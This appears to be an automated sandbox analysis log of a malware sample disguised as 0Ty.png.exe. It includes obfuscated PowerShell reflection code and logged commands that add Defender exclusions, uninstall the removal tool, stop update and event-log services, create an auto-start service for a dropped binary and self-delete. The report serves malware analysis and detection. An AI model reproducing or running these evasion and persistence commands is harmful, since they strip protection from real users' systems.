OCRuuH.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+'p'+'e'+'c'+''+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+'i'+'d'+[Char](101)+'B'+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+','+[Char](80)+'u'+'b'+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kwrQxTwRDzvgHI).SetImplementationFlags(''+'R'+''+'u'+'nt'+'i'+'m'+[Char](101)+','+'M'+''+'a'+''+[Char](110)+''+[Char](97)+'g'+'e'+''+[Char](100)+'');$ZycFOOCRuuH.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+'o'+''+'k'+''+'e'+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+'Sig'+','+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+'ir'+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$doUOZqbWki,$kwrQxTwRDzvgHI).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $ZycFOOCRuuH.CreateType();}$PIBnzpATGOiSb=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+[Char](109)+''+[Char](46)+'d'+'l'+'l')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+'o'+'s'+''+'o'+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+'in'+[Char](51)+''+[Char](50)+''+'.'+'Uns'+[Char](97)+''+[Char](102)+'e'+'N'+''+[Char](97)+'t'+'i'+''+[Char](118)+'eM'+[Char](101)+''+[Char]
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{cf3d95db-0758-4a82-bfdc-72f769e75e83}
Source: C:\Windows\System32\winlogon.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{0efb55d5-e8e1-4bc9-b3c4-28c83a2f4e5a}
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "HGLZSDMZ"	Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "HGLZSDMZ" binpath= "C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "HGLZSDMZ"	Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\0Ty.png.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{cf3d95db-0758-4a82-bfdc-72f769e75e83}	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{0efb55d5-e8e1-4bc9-b3c4-28c83a2f4e5a}

Source: C:\Users\user\Desktop\0Ty.png.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\winlogon.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\lsass.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: pdh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pdh.dll
